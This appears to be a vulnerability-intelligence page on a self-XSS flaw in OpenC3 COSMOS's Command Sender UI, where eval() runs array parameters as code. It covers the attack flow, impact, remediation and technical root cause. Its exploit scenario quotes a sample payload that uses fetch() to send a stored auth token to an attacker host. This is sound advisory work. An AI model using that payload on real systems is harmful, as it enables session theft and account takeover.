Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSocial engineer authenticated COSMOS user
-
DeliveryUser opens Command Sender UI with active session
-
ExploitAttacker-supplied command with malicious array payload entered
-
Executioneval() function parses array parameter as code
-
PersistArbitrary JavaScript executes in authenticated browser context
-
ImpactSession token stolen or data modified
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the following specific conditions: (1) The attacker must be able to influence the array parameter input in the Command Sender UI - typically via social engineering or phishing, since the COSMOS UI is accessed only by authenticated users; (2) The victim must be an authenticated user with an active session in COSMOS (PR:L from CVSS confirms authentication is required); (3) The victim must send a command containing the malicious array payload using the Command Sender UI's 'Send' button (UI:R confirms user interaction is required); (4) The target command must support ARRAY-type parameters - commands without array parameters are not vulnerable. The vulnerability does NOT require network-level access bypassing authentication, COSMOS misconfiguration, or non-standard deployments - it affects default installations where authenticated users can access the Command Sender UI. The main limiting factor is the requirement for user interaction and authentication; remote unauthenticated exploitation is not possible. |
| Impact | This vulnerability presents moderate real-world risk despite the low CVSS score (4.6). The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:U) correctly reflects that exploitation requires authentication (PR:L), network access, and user interaction (UI:R), limiting its scope compared to unauthenticated remote code execution. However, several factors elevate actual risk: (1) The attack vector is network-accessible and exploitation complexity is low, making it trivial to execute once a victim is socially engineered; (2) The authenticated context is significant because stealing session tokens from local storage during an authenticated session enables account takeover; (3) The PoC is straightforward and publicly documented in the advisory, removing technical barriers; (4) No active KEV listing or widespread exploitation reports suggest this is not currently targeted at scale, but the ease of exploitation means rapid weaponization is likely if deployment is common. For defenders, the key decision point is whether COSMOS users are exposed to untrusted actors (phishing risk) - if so, this warrants immediate patching despite the moderate CVSS score. |
| Exploit ScenarioDerived | An attacker crafts a phishing email or social engineering message targeting a COSMOS operator, requesting they send a specific command to test or troubleshoot a system issue. The attacker includes a malicious command with a payload like [alert('XSS')] or more dangerously [fetch('https://attacker.com/steal?token=' + localStorage.getItem('auth_token'))] embedded in the array parameter. When the victim opens the COSMOS Command Sender UI (already authenticated) and follows the instructions by submitting the crafted command, the JavaScript executes in their browser context, exfiltrating session tokens or session storage data to the attacker's server. The attacker can then use the stolen token to impersonate the victim and send unauthorized commands or exfiltrate sensitive telemetry data. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 04, 2026
Self-XSS in OpenC3 COSMOS Command Sender UI prior to version 7.0.0 allows authenticated users to execute arbitrary JavaScript in their own browser session via unsafe eval() processing of array parameters. An attacker can exploit this through phishing or by convincing a victim to send a malicious command, potentially stealing session tokens or modifying authenticated data. Patch available in version 7.0.0.
RemediationAI
Upgrade OpenC3 COSMOS to version 7.0.0 or later immediately - this is the vendor-released patch that fixes the unsafe eval() usage in the Command Sender UI. For organizations unable to upgrade immediately, implement network access controls to restrict who can reach the COSMOS Command Sender UI (e.g., firewall rules limiting access to trusted networks or bastion hosts), and educate users not to send commands with untrusted input in array parameters. Additionally, review browser local storage policies and consider using session management tools that automatically invalidate or rotate session tokens on suspicious activity. However, these controls do not eliminate the vulnerability - upgrading to 7.0.0 is the definitive remediation. Reference the GHSA advisory at https://github.com/OpenC3/cosmos/security/advisories/GHSA-ffq5-qpvf-xq7x for confirmation and additional details.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, rubygems, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
OpenC3 COSMOS is an embedded systems command and telemetry tool. The vulnerability exists in the CommandSender.vue component's convertToValue() method, which uses JavaScript's eval() function to parse array-like command parameters without sanitization. When a user inputs an array parameter (enclosed in square brackets) in the Command Sender UI, the eval() function interprets the entire string as executable code rather than data, allowing arbitrary JavaScript injection. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the dangerous use of eval() on user-controlled input combined with insufficient output encoding.
Know when Cosmos gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to version 7.0.0, the Command Sender UI uses an unsafe eval() function on array-like command parameters, which allows a user-supplied payload to execute in the browser when sending a command. This creates a self-XSS risk because an attacker can trigger their own script execution in the victim’s session, if allowed to influence the array parameter input, for example via phishing. If successful, an attacker may read or modify data in the authenticated browser context, including session tokens in local storage. This issue has been patched in version 7.0.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Critical remote code execution vulnerability in OpenC3 COSMOS v6.0.0's Plugin Management component that allows unauthent
OpenC3 COSMOS versions before v6.0.2 contain hardcoded credentials embedded in the Service Account, allowing unauthentic
Critical authentication bypass vulnerability in OpenC3 COSMOS v6.0.0 caused by weak password requirements that enable br
Critical directory traversal vulnerability in OpenC3 COSMOS versions before 6.1.0 affecting the /script-api/scripts/ end
Directory traversal vulnerability in OpenC3 COSMOS versions before 6.1.0 that allows unauthenticated remote attackers to
A security vulnerability in OpenC3 COSMOS (CVSS 7.5) that allows attackers. Risk factors: public PoC available.
A cross-site scripting (XSS) vulnerability in OpenC3 COSMOS before v6.0.2 allows attackers to execute arbitrary web scri
Privilege escalation in OpenC3 COSMOS allows low-privileged authenticated users to bypass API authorization and perform
SQL injection in OpenC3 COSMOS 6.7.0 to 7.0.0-rc2 allows authenticated users with minimal 'tlm' (telemetry viewer) privi
Authenticated OS command injection in OpenC3 COSMOS 5.12.0 through 7.2.1 allows a user with a valid session to run arbit
OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems.
OpenC3 COSMOS password change functionality accepts valid session tokens in lieu of current passwords, enabling attacker
EUVD-2026-27061
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB